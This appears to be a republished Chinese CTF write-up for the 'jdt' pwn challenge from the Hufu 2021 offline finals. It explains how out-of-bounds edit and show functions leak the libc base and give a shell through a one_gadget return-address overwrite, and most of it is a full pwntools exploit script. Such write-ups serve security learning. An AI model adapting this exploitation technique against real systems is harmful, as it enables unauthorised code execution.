虎符2021线下赛pwn writeup

Posted 不会修电脑

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了虎符2021线下赛pwn writeup相关的知识,希望对你有一定的参考价值。

jdt

  一个图书管理系统,但并不是常规的堆题。edit和show函数可以越界。edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell。

from pwn import *

p = process(\'./pwn\')
elf = ELF(\'./pwn\')
libc = ELF(\'./libc.so.6\')

context(os=\'linux\',arch=\'amd64\',log_level=\'debug\')

def duan():
    gdb.attach(p)
    pause()
def add(price,author,name,description):
    p.sendlineafter(\'Choice: \',\'1\')
    p.sendafter(\'Price?\',str(price))
    p.sendafter(\'Author?\',author)
    p.sendafter(\'name?\',name)
    p.sendafter(\'Description?\',description)
def show(index):
    p.sendlineafter(\'Choice: \',\'3\')
    p.sendlineafter(\'idx?\',str(index))

show(16)
p.recvuntil(\'Author: \')
addr = u64(p.recv(6).ljust(8,\'\\x00\'))
print \'addr-->\'+hex(addr)

p.sendlineafter(\'Choice: \',\'2\')
p.sendlineafter(\'idx?\',\'16\')
p.sendlineafter(\'Choice: \',\'2\')
p.sendafter(\'Author?\',\'a\'*8)
show(16)
p.recvuntil(\'aaaaaaaa\')
libc_base = u64(p.recv(6).ljust(8,\'\\x00\'))-240-libc.symbols[\'__libc_start_main\']
print \'libc_base-->\'+hex(libc_base)
og = [0x45226,0x4527a,0xf0364,0xf1207]
shell = libc_base+og[0]

p.sendlineafter(\'Choice: \',\'2\')
p.sendlineafter(\'idx?\',\'16\')
p.sendlineafter(\'Choice: \',\'2\')
p.sendafter(\'Author?\',p64(addr)+p64(shell))

p.sendlineafter(\'Choice: \',\'5\')
p.interactive()

 

以上是关于虎符2021线下赛pwn writeup的主要内容,如果未能解决你的问题,请参考以下文章

WMCTF 2021 pwn dy_maze writeup

WMCTF 2021 pwn dy_maze writeup

第七届“湖湘杯” Bugku战队writeup

2021年江西工业互联网安全技术技能大赛线下决赛部分Writeup

2021年江西工业互联网安全技术技能大赛线下决赛部分Writeup

2021 长安“战疫”网络安全卫士守护赛 WriteUp